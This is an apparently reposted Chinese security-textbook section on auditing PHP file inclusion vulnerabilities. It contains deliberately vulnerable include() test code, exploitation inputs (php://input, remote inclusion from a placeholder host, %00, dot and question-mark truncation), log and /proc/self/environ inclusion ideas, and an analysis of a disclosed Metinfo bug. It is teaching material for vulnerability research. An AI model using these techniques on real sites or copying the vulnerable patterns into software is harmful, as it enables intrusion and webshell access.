5.1.1 文件包含漏洞
PHP 的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(local file include)和远程文件包含(remote file include),顾名思义就能理解它们的差别在哪,而不管哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取 webshell。文件包含函数有 include()、include_once()、require() 和 require_once(),它们之间的区别在于:include() 和 include_once() 在包含文件时即使遇到错误,下面的代码依然会继续执行;而 require() 和 require_once() 则会直接报错退出程序。
5.1.1.1 挖掘经验
文件包含漏洞大多出现在模块加载、模板加载以及 cache 调用的地方,比如传入的模块名参数,实际上是直接把这个拼接到了包含文件的路径中,比如像 espcms 的代码:
$archive = indexget ( 'archive' , 'R' ); $archive = empty ( $archive ) ? 'adminuser' : $archive ; $action = indexget ( 'action' , 'R' ); $action = empty ( $action ) ? 'login' : $action ; include admin_ROOT . adminfile . "/control/$archive.php" ;
传入的 archive 参数就是被包含的文件名,所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程,看看里面模块加载时包含的文件是否可控,另外就是直接搜索 include()、include_once()、require() 和 require_once() 这四个函数来回溯看看有没有可控的变量,它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。一般这类都是本地文件包含,大多是需要截断的,截断的方法下面我们再细说。
5.1.1.2 本地文件包含
本地文件包含(local file include,LFI)是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和 cache 调用这些地方,渗透的时候利用起来并不鸡肋,本地文件包含有多种利用方式,比如上传一个允许上传的文件格式的文件再包含来执行代码,包含 PHP 上传的临时文件,在请求 URL 或者 ua 里面加入要执行的代码,WebServer 记录到日志后再包含 WebServer 的日志,还有像 Linux 下可以包含/proc/self/environ 文件。
测试代码 1.php 如下所示:
<?php // 初始化 .... define ( "ROOT" , dirname ( __FILE__ ) .'/' ); // 加载模块 $mod = $_GET['mod'] ; echo ROOT.$mod.'.php' ; include ( ROOT.$mod.'.php' );? >
我们在同目录下 2.php 写入如下代码:
<?php phpinfo ();? >
请求/1.php?mod=2 执行结果如图 5-1 所示。
图 5-1
1.远程文件包含
远程文件包含(remote file include,RFI)是指可以包含远程文件的包含漏洞,远程文件包含需要设置 allow_url_include=On,PHP5.2 之后这个选项的可修改范围是 PHP_INI_ALL。四个文件包含的函数都支持 HTTP、FTP 等协议,相对于本地文件包含,它更容易利用,不过出现的频率没有本地文件包含多,偶尔能挖到,下面我们来看看基于 HTTP 协议测试代码:
<?php include ( $_GET['url'] );? >
利用则在 GET 请求 url 参数里面传入"http://remotehost/2.txt",其中远程机器上的 2.txt 是一个内容为<?php phpinfo();?>。访问后返回本机的 phpinfo 信息。
远程文件包含还有一种 PHP 输入输出流的利用方式,可以直接执行 POST 代码,这里我们仍然用上面这个代码测试,只要执行 POST 请求 1.php?a=php://input,POST 内容为 PHP 代码"<?php phpinfo();?>"即可打印出 phpinfo 信息,如图 5-2 所示。
2.文件包含截断
大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是像 include(BASEPATH.$mod.'.php')或者 include($mod.'.php')这样的方式,如果我们不能写入以.php 为扩展名的文件,那我们是需要截断来利用的。
图 5-2
下面我们就来详细说一下各种截断方式。
第一种方式,利用%00 来截断,这是最古老的一种方法,不过在笔者做渗透测试的过程中,发现目前还是有很多企业的线上环境可以这么利用。%00 截断受限于 GPC 和 addslashes 等函数的过滤,也就是说,在开启 GPC 的情况下是不可用的,另外在 PHP5.3 之后的版本全面修复了文件名%00 截断的问题,所以在 5.3 之后的版本也是不能用这个方法截断的。下面我们来演示一下%00 截断,测试代码 1.php:
<?php include $_GET['a'].'.php'?>
测试代码 2.txt 内容为 phpinfo。
请求 http://localhost/test/1.php?a=2.txt%00 即可执行 phpinfo 的代码如图 5-3 所示。
图 5-3
第二种方式,利用多个英文句号(.)和反斜杠(/)来截断,这种方式不受 GPC 限制,不过同样在 PHP 5.3 版本之后被修复。下面让我们来演示一下:
测试代码如下:
<?php $str='' ; for ( $i=0 ; $i<=240 ; $i++ ) { $str .= '.' ; } $str = '2.txt'.$str ; echo $str ; include $str.'.php' ;? >
我在 Windows 下测试是 240 个连接的点(.)能够截断,同样的点(.)加斜杠(/)也是 240 个能够截断,Linux 下测试的是 2038 个/.组合才能截断。
第三种方式,远程文件包含时利用问号(?)来伪截断,不受 GPC 和 PHP 版本限制,只要能返回代码给包含函数,它就能执行,在 HTTP 协议里面访问 http://remotehost/1.txt 和访问 http://remotehost/1.txt?.php 返回的结果是一样的,因为这时候 WebServer 把问号(?)之后的内容当成是请求参数,而 txt 不在 WebServer 里面解析,参数对访问 1.txt 返回的内容不影响,所以就实现了伪截断。
测试代码如下:
<?php include $_GET['a'].'.php' ;
请求/1.php?a=http://remotehost/2.txt?2.txt 内容同样为 phpinfo 的代码,请求之后会打印出 phpinfo 信息。
3.Metinfo 文件包含漏洞分析
这里举例笔者在 2012 年时找到的 metinfo 企业网站管理系统中的一个文件包含漏洞,当时本漏洞提交给官方已经修复。
漏洞出现在文件/message/index.php,这个地方调用模块方式是直接从 GET 请求中获取模块名,拼接到 require_once 函数中,因此模块名可控导致了可以远程包含文件,代码如下:
if (! $metid ) $metid='index' ; if ( $metid ! ='index' ) { require_once $metid.'.php' ; }else{ /* 省略 */ }
$metid 是从 GET 提交的,这段代码的意思是,如果提交的参数 metid 不是 index,则执行 require_once$metid.'.php'去包含加载模块文件,这里可以用我们上面说的三种方式来利用,假设 allow_url_include=on,只要在远程写一个 1.txt 的文件,利用问号来伪截断即可,或者搭一个不解析 PHP 的 WebServer,访问的时候不加文件扩展名,这里给出当时写文档时留的一个截图,如图 5-4 所示。
图 5-4
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论